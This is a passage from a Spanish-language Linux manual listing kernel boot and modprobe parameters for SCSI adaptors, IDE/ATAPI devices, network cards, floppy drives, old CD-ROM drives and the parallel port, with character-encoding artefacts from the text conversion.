  23275.                                  |__variable______________|____valores_/_significado__|________
  23276.  
  23277.                                  |  <buson>                  | 2..15                          |
  23278.                                  |  <busoff>                 | 1..64                          |
  23279.                                  |__<DMA__speed>_____________|_5,6,7,8,10_____________________|
  23280.  
  23281.                                  Ejemplo:    aha1542=0x300
  23282.  
  23283.  
  23284.  
  23285.                              o   Adaptec AHA-274x / 284x / 294x hostadaptor
  23286.  
  23287.                                  aic7xxx=<modifier>[,<modifier>[,  ...]]
  23288.  
  23289.  
  23290. 362
  23291.      __________________________________________________________________________________________________14.3.__Los_parßmetros_______*
  23292.  *____________________
  23293.  
  23294.  
  23295.  
  23296.      ___________________________________________________________________________________________________________
  23297.      ||__variable____________|__valores_/_significado__________________________________________________|_________
  23298.      ||  <modifier>             |extended                                                                     |
  23299.      ||                         |activa la transformaci≤n de la geometrφa de disco.       |
  23300.      ||                         |no_reset                                                                     |
  23301.      ||                         |evita resetear el Bus SCSI en la inicializaci≤n            |
  23302.      ||                         |de la controladora SCSI.                                           |
  23303.      ||                         |irq_trigger:          <x>                                                    |
  23304.      ||                         |Solo para sistema con bus Eisa                                  |
  23305.      ||                         |0: control por flanco del impulso,                              |
  23306.      ||                         |1: control por nivel de impulso.                                 |
  23307.      ||                         |verbose                                                                      |
  23308.      ||                         |Para recibir mßs mensajes.                                        |
  23309.      ||                         |reverse_scan                                                                 |
  23310.      ||                         |Cuando la BIOS trata varias tarjetas                          |
  23311.      ||                         |en orden equivocado.                                                |
  23312.      ||                         |7895_irq_hack:           <x>                                                 |
  23313.      ||                         |-1 solo para placas madre Tyan II.                            |
  23314.      ||                         |pci_parity:         <x>                                                      |
  23315.      ||                         |sin definir pci_parity         , la                                        |
  23316.      ||                         |paridad es par:                                                         |
  23317.      ||                         |0 sin control de paridad                                            |
  23318.      ||                         |1 paridad impar                                                        |
  23319.      ||                         |tag_info:```                                                                 |
  23320.      ||                         |Administraci≤n de colas para aumentar rendimiento,  |
  23321.      ||_________________________|para_expertos,_ver_las_fuentes_del_kernel.____________________|________________
  23322.  
  23323.  
  23324.     Ejemplo:    aic7xxx=no_reset              ,
  23325.     si la computadora se detiene reseteando el bus SCSI.
  23326.  
  23327.     Para controladoras SCSI a base de aic7xxx  solo se necesitan parßmetros
  23328.     si su funcionamiento es err≤neo o insatisfactorio.
  23329.  
  23330.     La  controladora  AHA-2940  AU  solo  funciona  bien  a  partir  de  la  ver-
  23331.     si≤n 1.3 de la BIOS; el soporte de Adaptec proporciona actualizaciones.
  23332.  
  23333.     íLa controladora Adaptec 2920 no funciona con este driver, sino con el
  23334.     Future Domain-Driver (apartado 14.3.2 en la pßgina siguiente)!
  23335. o   AdvanSys SCSI-hostadaptor
  23336.  
  23337.     advansys=<addr1>,<addr2>,...,<addr4>,<debug_level>
  23338.  
  23339.     Ejemplo:    advansys=0x110,0x210
  23340.  
  23341.     Este ejemplo indica al kernel que busque la controladora AdvanSys bajo
  23342.     las direcciones se±aladas.
  23343. o   AM53/79C974 SCSI-hostadaptor
  23344.  
  23345.     AM53C974=<host-id>,<target-id>,<rate>,<offset>
  23346.  
  23347.  
  23348.                                                                                                                                    *
  23349.  * 363
  23350. 14.  Parßmetros del_kernel_________________________________________________________________________________________________________*
  23351.  *_______________________________________@
  23352.  
  23353.  
  23354.  
  23355.                                  _________________________________________________________________________________________________
  23356.                                  |__variable______________|____valores_/_significado______________________________________|________
  23357.                                  |  <host-id>                | SCSI-ID de la controladora, tφpico 7               |
  23358.                                  |  <target-id>              | SCSI-ID del dispositivo 0..7                            |
  23359.                                  |  <rate>                   | 3,5,10      Mbit/s mßxima tasa de transferencia  |
  23360.                                  |__<offset>_________________|_Modo_de_transf.;_0__=_asφncrono______________________|_____________
  23361.  
  23362.                                  Cuando parece que la controladora ''se atraganta'' con el flujo de datos, se
  23363.                                  puede reducir la tasa mßxima de transferencia para un dispositivo (p. ej.
  23364.                                  la primer unidad CD-ROM-SCSI /dev/scd0 con ID 5) en la cadena:
  23365.  
  23366.                                  Ejemplo:    AM53C974=7,5,3,0
  23367.  
  23368.                                  Se puede indicar una tasa y un modo de transferencia propios para cada
  23369.                                  dispositivo, asφ que AM53C974=x,x,x,x               puede aparecer hasta siete veces
  23370.                                  para una controladora.
  23371.  
  23372.  
  23373.                              o   BusLogic SCSI-hostadaptor
  23374.  
  23375.                                  BusLogic=<addr>
  23376.                                  BusLogic=<probing>
  23377.  
  23378.                                  Ejemplo:    BusLogic=0x300
  23379.  
  23380.                                  __________________________________________________________________________________________________*
  23381.  *_______
  23382.                                  |__variable__________|____valores_/_significado__________________________________________________|*
  23383.  *________
  23384.  
  23385.                                  |  <addr>               | Direcci≤n de la controladora, p. ej.  0x300                       |
  23386.                                  |  <probing>            | NoProbe       No buscar la controladora                           |
  23387.                                  |                       | NoProbeISA          No buscar la controladora ISA               |
  23388.                                  |                       | NoProbePCI          No buscar la controladora PCI               |
  23389.                                  |                       | NoSortPCI         La BIOS determina el orden de                |
  23390.                                  |                       | las controladoras Multimaster                                    |
  23391.                                  |                       | MultiMasterFirst               Multimaster por delante             |
  23392.                                  |                       | de Flashpoint                                                           |
  23393.                                  |                       | FlashPointFirst              Flashpoint por delante                 |
  23394.                                  |                       | de Multimaster                                                         |
  23395.                                  |                       | InhibitTargetInquiry                   Para dispositivos antiguos  |
  23396.                                  |                       | que tienen problemas con scsi_luns         > 0                 |
  23397.                                  |                       | TraceProbe          mensajes adicionales                             |
  23398.                                  |                       | cuando la controladora se inicializa                            |
  23399.                                  |                       | TraceHardwareReset                 mensajes adicionales             |
  23400.                                  |                       | en un reset por hardware de la controladora                |
  23401.                                  |                       | TraceConfiguration                 mensajes adicionales             |
  23402.                                  |                       | en la configuraci≤n de la controladora                        |
  23403.                                  |                       | TraceErrors           mensajes de error de los                      |
  23404.                                  |                       | dispositivos conectados                                             |
  23405.                                  |_______________________|_Debug_____todos_los_mensajes_________________________________________|__*
  23406.  *_______
  23407.  
  23408.                                  Para esta controladora hay mßs parßmetros de configuraci≤n que sirven
  23409.                                  para afinar su ajuste.  Se explica en /usr/src/linux/drivers/scsi/
  23410.                                  README.BusLogic.
  23411.  
  23412.  
  23413.                              o   Future Domain TMC-16x0-SCSI-hostadaptor
  23414.  
  23415.                                  fdomain=<addr>,<irq>[,<id>]
  23416.  
  23417.  
  23418. 364
  23419.        __________________________________________________________________________________________________14.3.__Los_parßmetros_____*
  23420.  *______________________
  23421.  
  23422.  
  23423.  
  23424.        ______________________________________________________________________
  23425.        ||__variable__|__valores_/_significado______________________|__________
  23426.        ||__<id>_________S|CSI-ID_de_la_controladora_0..7______|______________
  23427.  
  23428.       Se usa este driver tambiΘn para la controladora SCSI Adaptec 2920 .
  23429.  
  23430.       Ejemplo:    fdomain=0x140,11,7
  23431.  
  23432.  
  23433.  
  23434.   o   Future Domain TMC-885/950-hostadaptor
  23435.  
  23436.       tmc8xx=<addr>,<irq>
  23437.  
  23438.       Ejemplo:    tmc8xx=0xca000,5
  23439.  
  23440.  
  23441.  
  23442.   o   Familia de NCR 5380 SCSI-hostadaptor
  23443.  
  23444.       ncr5380=<addr>,<irq>,<dma>
  23445.  
  23446.       Ejemplo:    ncr5380=0x340,10,3
  23447.  
  23448.  
  23449.  
  23450.   o   Familia de NCR 53c400 SCSI-hostadaptor
  23451.  
  23452.       ncr53c400=<addr>,<irq>
  23453.  
  23454.       Ejemplo:    ncr53c400=0x350,5
  23455.  
  23456.       Este driver puede trabajar p. ej.  con la controladora Trantor T130B , que
  23457.       tiene una difusi≤n amplia.
  23458.  
  23459.  
  23460.  
  23461.   o   Familia de NCR 53c406a SCSI-hostadaptor
  23462.  
  23463.       ncr53c406a=<addr>[,<irq>[,<fastpio>]]
  23464.  
  23465.        ______________________________________________________________________________
  23466.        ||__variable__________|__valores_/_significado______________________|__________
  23467.  
  23468.        ||__<fastpio>____________|0,_sin_uso_de_un_modo-PIO_rßpido__|_________________
  23469.  
  23470.       Ejemplo:    ncr53c406a=0x330,10,0
  23471.  
  23472.  
  23473.  
  23474.   o   Seagate ST01/02 SCSI-hostadaptor
  23475.  
  23476.       st0x=<addr>,<irq>
  23477.  
  23478.       Ejemplo:    st0x=0xc8000,5
  23479.  
  23480.  
  23481.  
  23482.   o   Trantor T128/128F/228 SCSI-hostadaptor
  23483.  
  23484.       t128=<addr>,<irq>
  23485.  
  23486.       Ejemplo:    t128=0x340,10
  23487.  
  23488.  
  23489. Controladoras (E)IDE-Controller y dispositivos ATAPI
  23490.  
  23491. Hay muchos parßmetros a disposici≤n para configurar los dispositivos conec-                                        Controladoras
  23492. tados.                                                                                                             (E)IDE
  23493.                                                                                                                    Dispositivos
  23494.   o   ATAPI-CD-ROM en la controladora (E)IDE                                                                       ATAPI
  23495.       hd<x>=cdrom
  23496.       hd<x>=serialize
  23497.  
  23498.  
  23499.                                                                                                                                    *
  23500.  *   365
  23501. 14.  Parßmetros del_kernel_________________________________________________________________________________________________________*
  23502.  *_______________________________________@
  23503.  
  23504.  
  23505.  
  23506.                                  ______________________________________________________________________
  23507.                                  |__variable__|____valores_/_significado_______________________|________
  23508.                                  |  <x>           |a , b , c , d ,adonde:                           |
  23509.                                  |                |a  Maestro en 1a  controladora IDE  |
  23510.                                  |                |b  Esclavo en 1a  controladora IDE   |
  23511.                                  |                |c  Maestro en 2a  controladora IDE  |
  23512.                                  |________________|d__Esclavo_en_2___controladora_IDE___|______________
  23513.  
  23514.                                  Ejemplo:
  23515.  
  23516.                                  Un lector CD-Rom como maestro en la segunda controladora se anuncia
  23517.                                  con hdc=cdrom        .
  23518.  
  23519.  
  23520.                              o   Disco duro
  23521.  
  23522.                                  hd<x>=<cilindro>,<cabezal>,<sector>[,<escribe>[,<irq>]]
  23523.  
  23524.                                  _________________________________________________________________________________
  23525.                                  |__variable______________|____valores_/_significado______________________|________
  23526.                                                                                    o     o
  23527.                                  |  <x>                      | a , b , . . . , h  1   a 8   disco duro        |
  23528.                                  |  <cilindro>               | n·mero de cilindros                      |
  23529.                                  |  <cabezal>                | n·mero de cabezales                     |
  23530.                                  |  <sector>                 | n·mero de sectores                       |
  23531.                                  |  <escritura>              | cilindro a partir del cual se aplica  |
  23532.                                  |                           | la compensaci≤n de escritura         |
  23533.                                  |__<irq>____________________|_Interrupci≤n_________________________________|_____
  23534.  
  23535.                                  Si  la  BIOS  es  un  poco  antigua,  es  posible  que  no  se  reconozca  bien  la
  23536.                                  geometrφa del disco. En tal caso se pueden pasar los parßmetros correctos
  23537.                                  al kernel para que Θste la pueda reconocer correcta- y completamente.
  23538.  
  23539.                                  Ejemplo:    hdc=1050,32,64
  23540.  
  23541.                                  hd<x>=<trouble>
  23542.  
  23543.                                  __________________________________________________________________________________________________*
  23544.  *___
  23545.                                  |__variable__________|____valores_/_significado______________________________________________|____*
  23546.  *____
  23547.                                                                                o     o
  23548.                                  |  <x>                  | a , b , . . . , h  1   a 8   disco duro                                |
  23549.                                  |  <trouble>            | noprobe      , si hay problemas con la                          |
  23550.                                  |                       | comprobaci≤n de un disco duro                             |
  23551.                                  |                       | none    ignorar la entrada en la CMOS y no probar    |
  23552.                                  |                       | nowerr      ignorar WREE`STAT-Bit                         |
  23553.                                  |                       | cdrom     no reconocido o reconocido como disco       |
  23554.                                  |                       | o fallo en arranque                                                |
  23555.                                  |                       | autotune        uso del modo PIO mßs rßpido                |
  23556.                                  |                       | slow    despuΘs de cada acceso se introduce              |
  23557.                                  |                       | una pausa larga, lo que realmente ralentiza mucho  |
  23558.                                  |_______________________|_pero_a_veces_es_el_·ltimo_recurso.___________________________|__________*
  23559.  *___
  23560.  
  23561.                                  Si un lector de CD-Rom no se reconoce bien, la indicaci≤n de <cdrom>
  23562.                                  puede introducir el dispositivo correctamente al sistema.
  23563.  
  23564.                                  Ejemplo:    hdd=cdrom
  23565.  
  23566.  
  23567.                              o   Chipsets de controladoras EIDE
  23568.  
  23569.                                  ide0=<Chipset>
  23570.  
  23571.  
  23572. 366
  23573.  __________________________________________________________________________________________________14.3.__Los_parßmetros___________*
  23574.  *________________
  23575.  
  23576.  
  23577.  
  23578. Hay algunas controladoras EIDE con chipsets defectuosos o con proble-
  23579. mas a la hora de usar la segunda controladora.
  23580. Por lo cual ya existe para muchas de ellas un soporte especial en el kernel
  23581. que se debe activar con uno de sus parßmetros.
  23582.  
  23583. Estßn soportados los siguientes chipset problemßticos:
  23584.  
  23585.  _____________________________________________________________________________________________________________
  23586.  
  23587. CMD  640                         Este  chipset  se  encuentra  en  muchas  placas
  23588.                                  base  y  tiene  bastantes  defectos,  por  lo  cual
  23589.                                  el kernel incorpora un soporte especial que lo
  23590.                                  reconoce  para  evitar  problemas.  Ademßs,  en
  23591.                                  muchos  casos,  solo  por  el  c≤digo  especial  se
  23592.                                  puede usar la segunda controladora. El chipset
  23593.                                  se reconoce automßticamente en sistemas PCI,
  23594.                                  pero en aquellos a base de VLB hay que poner
  23595.                                  el parßmetro de kernel: ide0=cmd640_vlb              .
  23596. RZ  1000                         Este  chip  se  usa  en  muchas  placas  base  con
  23597.                                  chipset Neptun siendo defectuoso, sin embar-
  23598.                                  go,  al  activar  su  soporte,  el  sistema  deja  de
  23599.                                  presentar errores aunque trabaje un poco mßs
  23600.                                  lento.  No se precisa de ning·n parßmetro del
  23601.                                  kernel para activarlo.
  23602. DTC-2278                         Es preciso activar este driver especial mediante
  23603.                                  el comando ide0=dtc2278            para poder usar la
  23604.                                  segunda controladora.
  23605. Holtek  HT6560B                  Para activar la segunda controladora se necesi-
  23606.                                  ta el siguiente parßmetro: ide0=ht6560b           .
  23607. QDI  QD6580                      Con  este  driver  se  consigue  mayor  velocidad
  23608.                                  de transferencia: ide0=qd6580          .
  23609. UMC  8672                        Para activar la segunda controladora se necesi-
  23610.                                  ta el siguiente parßmetro: ide0=umc8672           .
  23611. ALI  M1439/M1445                 Para activar la segunda controladora se necesi-
  23612.                                  ta el siguiente parßmetro: ide0=ali14xx           .
  23613. PROMISE  DC4030                  Para activar la segunda controladora se nece-
  23614.                                  sita  el  siguiente  parßmetro:   ide0=dc4030          .
  23615.                                  íLectores   CD-ROM   y   unidades   de   cinta
  23616.                                  (streamer) a·n no estßn soportados!
  23617.  
  23618.  _____________________________________________________________________________________________________________
  23619.  
  23620.                        Tabla 14.2: Chipsets EIDE especiales
  23621.  
  23622.  
  23623.  
  23624. Si el chipset no se encuentra entre los reconocidos como defectuosos pero
  23625. tampoco se reconoce bien, se pueden pasar los siguientes parßmetros en
  23626. lugar de los anteriormente mencionados:
  23627.  
  23628. ide<n·mero>=<base>[,<control>[,<irq>]]
  23629.  
  23630.  
  23631.                                                                                                                                 367
  23632. 14.  Parßmetros del_kernel_________________________________________________________________________________________________________*
  23633.  *_______________________________________@
  23634.  
  23635.  
  23636.  
  23637.                                  ______________________________________________________________________________________________
  23638.                                  |__variable__________|____valores_/_significado_______________________________________|________
  23639.                                  |  <n·mero>             | n·mero controladora,                                     |
  23640.                                  |                       | normalmente 0  o 1 , pero tambiΘn 3  o 4            |
  23641.                                  |  <base>               | direcci≤n base de la controladora,                   |
  23642.                                  |                       | normalmente 0x1f0     , 0x170     , 0x1e8      o 0x168       |
  23643.                                  |  <control>            | registro de control de la controladora,             |
  23644.                                  |                       | normalmente 0x3f6     , 0x376     , 0x3ee      o 0x36e       |
  23645.                                  |  <irq>                | interrupci≤n de la controladora,                      |
  23646.                                  |_______________________|_normalmente_14__,_15__,_11___o_10___________________________|_______
  23647.  
  23648.                                  Si el chipset no se encuentra entre los reconocidos como defectuosos, no
  23649.                                  se  reconoce  bien  y  ademßs  los  problemas  persisten,  se  puede  pasar  los
  23650.                                  siguientes parßmetros en lugar de los anteriormente mencionados:
  23651.  
  23652.                                  ide<n·mero>=<tune>
  23653.  
  23654.                                  __________________________________________________________________________________________________*
  23655.  *__
  23656.                                  |__variable________|____valores_/_significado_______________________________________________|_____*
  23657.  *___
  23658.  
  23659.                                  |  <n·mero>            |N·mero de controladora, normalmente 0  o 1 ,          |
  23660.                                  |                      |pero tambiΘn 3  o 4 .                                                |
  23661.                                  |  <tune>              |autotune        para conseguir el modo PIO mßs rßpido  |
  23662.                                  |                      |no lo soportan todos los chipsets.                            |
  23663.                                  |                      |noautotune          sin b·squeda del mejor PIO.               |
  23664.                                  |                      |serialize         sin simultaneidad de operaciones          |
  23665.                                  |______________________|de_la_siguiente_controladora.___________________________________|_________*
  23666.  *__
  23667.  
  23668.                                  Si desea obtener mßxima velocidad con un chipset que no estß en la lista
  23669.                                  de los defectuosos, se puede indicar la velocidad del bus como parßmetro
  23670.                                  adicional; para conocerla consulte el manual de su placa base.
  23671.  
  23672.                                  idebus=<speed>
  23673.  
  23674.  
  23675.                            Otros dispositivos
  23676.  
  23677.   Tarjeta de red
  23678.        Disquetera            o   Tarjeta de red Ethernet
  23679.  
  23680.                                  ether=<irq>,<addr>[,<par1>[,<par2>...<par8>]],<nombre>
  23681.  
  23682.  
  23683.                                  Los  distintos  parßmetros  desde  <par1>         hasta  <par8>         pueden  tener
  23684.                                  un  significado  diferente  seg·n  el  driver.   Como  mßximo  se  indican  dos
  23685.                                  parßmetros de los que el primero es la direcci≤n del comienzo del rango de
  23686.                                  memoria compartida (shared memory) y el segundo es el final del rango.
  23687.                                  El primer argumento no numΘrico se trata como el nombre.
  23688.  
  23689.                                ____________________________________________________________________________________________________*
  23690.  *______
  23691.  
  23692.                                  <irq>                Interrupci≤n usada; 0  para autoprobing.
  23693.                                  <addr>               Direcci≤n de puerto; 0  para autoprobing.
  23694.                                  <start>              Direcci≤n  del  comienzo  del  rango  de  memoria  com-
  23695.                                                       partida.   Algunos  drivers  usan  los  4  bits  bajos  para
  23696.                                                       el  debug-level;  el  Lance -driver  usa  estos  bits  para  el
  23697.                                                       canal DMA.
  23698.  
  23699.                                ____________________________________________________________________________________________________*
  23700.  *______
  23701.  
  23702. 368                                               Tabla 14.3: Contin·a en la pßgina siguiente ...
  23703.      __________________________________________________________________________________________________14.3.__Los_parßmetros_______*
  23704.  *____________________
  23705.  
  23706.      _____________________________________________________________________________________________________________
  23707.  
  23708.  
  23709.     <end>                 Direcci≤n del fin del rango de memoria compartida; el
  23710.                           3COM 3c503 -driver usa este parßmetro para distinguir
  23711.                           entre transceptores internos y externos.
  23712.     <xcvr>                Tipo de transceptor.
  23713.                           La tarjeta Cabletron E21XX  usa los 4 bits bajos para
  23714.                           seleccionar el medio.
  23715.     <nombre>              Nombre de la interfaz (tφpicamente eth0    ).
  23716.  
  23717.      _____________________________________________________________________________________________________________
  23718.  
  23719.                     Tabla 14.3: Variables de tarjetas de red Ethernet
  23720.     La  aplicaci≤n  mßs  frecuente  de  este  parßmetro  es  la  de  comunicar  al
  23721.     kernel  que  existe  mßs  de  una  tarjeta  para  ser  reconocida;  normalmente
  23722.     solo busca una tarjeta red y para que busque dos se puede usar el comando:
  23723.  
  23724.  
  23725.           ether=0,0,eth1
  23726.  
  23727.  
  23728.     Observe que al indicar 0  para la interrupci≤n se solicita al driver efectuar
  23729.     el autoprobing, con lo cual prueba automßticamente diferentes valores.
  23730.  
  23731.  
  23732. o   Disquetera
  23733.  
  23734.     floppy=<drive>,<type>,cmos
  23735.  
  23736.      _______________________________________________________________________________
  23737.      ||__variable______|__valores_/_significado___________________________|__________
  23738.  
  23739.      ||  <drive>          0|, 1, 2, 3                                            |
  23740.      ||  <type>           0| - Adopci≤n de valores de la CMOS  |
  23741.      ||                   1| - 5.25-pulgadas DD, 360 KB            |
  23742.      ||                   2| - 5.25-pulgadas HD, 1,2 MB            |
  23743.      ||                   3| - 3.5-pulgadas DD, 720 KB             |
  23744.      ||                   4| - 3.5-pulgadas HD, 1,44 MB            |
  23745.      ||                   5| - 3.5-pulgadas ED, 2,88 MB            |
  23746.      ||                   6| - 3.5-pulgadas ED, 2,88 MB            |
  23747.      ||___________________1|6__-_desconocido_o_no_instalado__________|______________
  23748.  
  23749.     floppy=<valor>
  23750.  
  23751.     La variable <valor>         puede tener los siguientes valores (tabla 14.4 en la
  23752.     pßgina siguiente):
  23753.  
  23754.      _____________________________________________________________________________________________________________
  23755.  
  23756.     one_fdc                                           exactamente una disquetera.
  23757.     asus_pci                                          evita  el  acceso  a  la  3a  o  4a  dis-
  23758.                                                       quetera.
  23759.     daring                                            aumenta las prestaciones para con-
  23760.                                                       troladoras no problemßticas.
  23761.  
  23762.      _____________________________________________________________________________________________________________
  23763.  
  23764.                      Tabla 14.4: Contin·a en la pßgina siguiente ...
  23765.  
  23766.                                                                                                                                    *
  23767.  * 369
  23768. 14.  Parßmetros del_kernel_________________________________________________________________________________________________________*
  23769.  *_______________________________________@
  23770.  
  23771.                                ____________________________________________________________________________________________________*
  23772.  *______
  23773.  
  23774.  
  23775.                                  0,daring                                          lo contrario de daring      .
  23776.                                  [<addr>,]two_fdc                                  Si   no   se   da   ning·n   valor   a
  23777.                                                                                    <addr>         y hay dos controladoras
  23778.                                                                                    de  disquete,  la  segunda  recibe  la
  23779.                                                                                    direcci≤n de puerto 0x370     .
  23780.                                  thinkpad                                          computadoras-IBM Thinkpad .
  23781.                                  0,thinkpad                                        no es computadora-Thinkpad .
  23782.                                  omnibook                                          computadoras Omnibook  de HP.
  23783.                                  nodma                                             para computadoras Omnibook .
  23784.                                  dma                                               estßndar
  23785.                                  nofifo                                            en  caso  que  aparezca  "Bus  mas-
  23786.                                                                                    ter  arbitration  error".
  23787.                                  fifo                                              estßndar.
  23788.                                  0xX   ,fifo_depth                                 barrera FIFO estßndar 0xA   .
  23789.                                  unexpected_interrupts                             Alertar   cuando   salen   interrup-
  23790.                                                                                    ciones inesperadas.
  23791.                                  no_unexpected_interrupts                          Este      es      el      contrario      de
  23792.                                                                                    unexpected_interrupts                   .
  23793.                                  L40SX                                             Lo mismo de arriba.
  23794.  
  23795.                                ____________________________________________________________________________________________________*
  23796.  *______
  23797.  
  23798.                                           Tabla 14.4: Valores para el parßmetro de kernel floppy
  23799.                              o   Busmouse de Logitech
  23800.  
  23801.                                  bmouse=<irq>
  23802.  
  23803.  
  23804.                              o   Controladora de disco duro XT
  23805.  
  23806.                                  xd=<tipo>,<irq>,<addr>,<dma>
  23807.  
  23808.  
  23809.                            14.3.3       Lectores CD-ROM en controladora propietaria
  23810.  
  23811.         CD-ROM
  23812.             antiguo          o   Aztech CDA268-01 CD-ROM
  23813.  
  23814.                                  aztcd=<addr>[,0x79]
  23815.  
  23816.                                  Solo hace falta indicar el valor 0x79     en caso de no conocer la versi≤n del
  23817.                                  ''firmware''.
  23818.  
  23819.                                  Ejemplo:    aztcd=0x320
  23820.  
  23821.  
  23822.                              o   Goldstar R420-CD-ROM
  23823.  
  23824.                                  gscd=<addr>
  23825.  
  23826.  
  23827.                              o   Mitsumi-CD-ROM
  23828.  
  23829.                                  mcd=<addr>,<irq>[,<wait>]
  23830.  
  23831.                                  ______________________________________________________________________________________
  23832.                                  |__variable____|____valores_/_significado____________________________________|_________
  23833.  
  23834.                                  |__<wait>__________|Valor_para_el_tiempo_de_espera_del_arranque__|____________________
  23835.  
  23836. 370
  23837.      __________________________________________________________________________________________________14.3.__Los_parßmetros_______*
  23838.  *____________________
  23839.  
  23840.  
  23841.  
  23842.     Se puede variar el parßmetro <wait>         entre 0   y 10  ,  si el CD-ROM no
  23843.     reacciona suficientemente rßpido a peticiones del sistema ("timeout"),
  23844.     por lo que es posible que no se encuentre el Rootimage durante la insta-
  23845.     laci≤n.
  23846.  
  23847.     Ejemplo:    mcd=0x300,10,5
  23848.  
  23849.  
  23850.  
  23851. o   Mitsumi-CD-ROM (Multisession)
  23852.  
  23853.     mcdx=<addr>,<irq>[,<addr>,<irq>]
  23854.  
  23855.     Ejemplo:    mcd=0x300,10
  23856.  
  23857.     Se soportan hasta 5 lectores
  23858.  
  23859.  
  23860.  
  23861. o   Mozart Interface
  23862.  
  23863.     isp16=[<addr>[,<irq>[,<dma>]]][[,]<tipo>]
  23864.  
  23865.      _____________________________________________________________________________
  23866.      ||__variable____|__valores_/_significado__________________________|___________
  23867.  
  23868.      ||__<tipo>_________S|anyo____,_Panasonic________,_Sony____,_Mitsumi_________|_
  23869.  
  23870.     Este  driver  da  soporte  a  lectores  CD-ROM  conectados  a  una  tarjeta  de
  23871.     sonido  del  nombre  ISP16 ,  MAD16  o  Mozart .   El  valor  de  la  variable
  23872.     <tipo>        resulta del conector en la tarjeta de sonido a la que esta conec-
  23873.     tado el lector CD-ROM.
  23874.  
  23875.     Ejemplo:    isp16=0x340,10,3,Sony
  23876.  
  23877.  
  23878.  
  23879. o   Optics Storage 8000 AT CD-ROM
  23880.  
  23881.     optcd=<addr>
  23882.  
  23883.     Ejemplo:    optcd=0x340
  23884.  
  23885.  
  23886.  
  23887. o   Philips CM206 CD-ROM
  23888.  
  23889.     cm206=<addr>,<irq>
  23890.  
  23891.     Ejemplo:    cm206=0x340,10
  23892.  
  23893.  
  23894.  
  23895. o   Pro Audio Spectrum 16 - SCSI-hostadaptor
  23896.  
  23897.     pas16=<addr>,<irq>
  23898.  
  23899.     Sobre la tarjeta de sonido Pro Audio Spectrum 16  se encuentra una con-
  23900.     troladora SCSI cuyas ajustes se pueden pasar al kernel con este parßmetro.
  23901.  
  23902.     Ejemplo:    pas16=0x340,10
  23903.  
  23904.     Si la tarjeta no se reconoce bien se puede usar sin interrupci≤n.  En tal
  23905.     caso, la interrupci≤n toma el valor 255   .
  23906.  
  23907.     Ejemplo:    pas16=0x340,255
  23908.  
  23909.  
  23910.  
  23911. o   Sanyo CD-ROM
  23912.  
  23913.     sjcd=<addr>
  23914.  
  23915.     Ejemplo:    sjcd=0x340
  23916.  
  23917.  
  23918.                                                                                                                                    *
  23919.  * 371
  23920. 14.  Parßmetros del_kernel_________________________________________________________________________________________________________*
  23921.  *_______________________________________@
  23922.  
  23923.  
  23924.  
  23925.                              o   Sony CDU 31/33 A
  23926.                                  cdu31a=<addr>,<irq>[,PAS]
  23927.  
  23928.                                  En el caso de este driver, el kernel ya no efect·a mßs el ''autoprobing'', asφ
  23929.                                  que la indicaci≤n de los parßmetros es obligatoria.
  23930.  
  23931.                                  Ejemplo:    cdu31a=0x340,5
  23932.  
  23933.                                  Si no hay ninguna interrupci≤n prevista para esta unidad, solo se puede
  23934.                                  acceder a ella por ''polling''; en tal caso el valor IRQ debe ser 0 .
  23935.  
  23936.                                  Ejemplo:    cdu31a=0x340,0
  23937.  
  23938.                                  Si  este  lector  esta  conectado  a  una  tarjeta  Pro  Audio  Spectrum,  el
  23939.                                  parßmetro podrφa ser el siguiente:
  23940.  
  23941.                                  Ejemplo:    cdu31a=0x1f88,0,PAS
  23942.  
  23943.  
  23944.  
  23945.                              o   Sony CDU 535
  23946.  
  23947.                                  sonycd535=<addr>,<irq>
  23948.  
  23949.                                  Ejemplo:    sonycd535=0x340,10
  23950.  
  23951.  
  23952.  
  23953.                              o   Soundblaster Pro 16 MultiCD
  23954.  
  23955.                                  sbpcd=<addr>,<tipo>
  23956.  
  23957.                                  __________________________________________________________________________________________________*
  23958.  *__________________
  23959.                                  |__variable____|____valores_/_significado_________________________________________________________*
  23960.  *_________|_________
  23961.  
  23962.                                  |__<tipo>__________|LaserMate________,_SPEA____,_SoundBlaster___________,_SoundScape_________,_Tea*
  23963.  *c__16bit__________|
  23964.  
  23965.                                  Ejemplo:    sbpcd=0x230,SoundBlaster
  23966.  
  23967.  
  23968.                            El puerto paralelo
  23969.  
  23970.              Puerto
  23971.            paralelo          o   Puerto paralelo
  23972.  
  23973.                                  parport=<addr0>,[<irq0>  [parport=<addr1>,[<irq1>
  23974.                                  [parport=<addr2>,[<irq2>]]]]]
  23975.  
  23976.                                  ______________________________________________________
  23977.                                  |__variable______|____valores_/_significado__|_________
  23978.  
  23979.                                  |  <addrX>           |Direcci≤n                 |
  23980.                                  |__<irqX>____________|Interrupci≤n______________|_____
  23981.  
  23982.                                  Ejemplo:    parport=0x3bc  parport=0x378,7  parport=0x278,auto
  23983.  
  23984.  
  23985.  
  23986.                              o   Impresora en el puerto paralelo
  23987.  
  23988.                                  lp=<parport0>  [lp=<parport1>  [lp=<parport2>]]
  23989.  
  23990.                                  ___________________________________________________________
  23991.                                  |__variable____________|____valores_/_significado__|________
  23992.  
  23993.                                  |__<parportX>_____________|_Puerto_paralelo_________|______
  23994.  
  23995.                                  Ejemplo:    lp=parport0  lp=parport2
  23996.  
  23997.  
  23998. 372
  23999.        __________________________________________________________________________________________________14.3.__Los_parßmetros_____*
  24000.  *______________________
  24001.  
  24002.  
  24003.  
  24004. 14.3.4       Parßmetros de modprobe
  24005. En  este  apartado  se  mencionan  los  parßmetros  que  se  pueden  usar  cuando
  24006.  
  24007. un driver se carga como m≤dulo.  Si no fuera posible cargar un determinado
  24008. driver con ning·n parßmetro, se tendrß que integrar en un kernel monolφtico.
  24009.  
  24010. Algunos  drivers  todavφa  no  existen  como  m≤dulos  y  otros  solo  reconocen
  24011. bien el hardware cuando forman parte del kernel. En todo caso es recomend-
  24012. able probar en un principio si el driver en cuesti≤n puede ser cargado como
  24013. m≤dulo.
  24014.  
  24015. Si un driver se carga como m≤dulo, todas las variables que se usan interna-
  24016. mente pueden ser modificadas mediante los valores en la lφnea de comando.
  24017. Por ejemplo, el driver para tarjetas NE2000 usa la variable io   para especificar
  24018. el rango de entrada y salida (I/O) ocupado por la tarjeta. El comando correcto
  24019. para cargar este m≤dulo es (ver tambiΘn el apartado 13.2 en la pßgina 350M≤-
  24020. dulos del kernelsection.13.2):
  24021.  
  24022.       tierra:/  #  insmod  ne  io=0x300  irq=10
  24023.  
  24024. o mejor con modprobe :
  24025.  
  24026.       tierra:/  #  modprobe  ne  io=0x300  irq=10
  24027.  
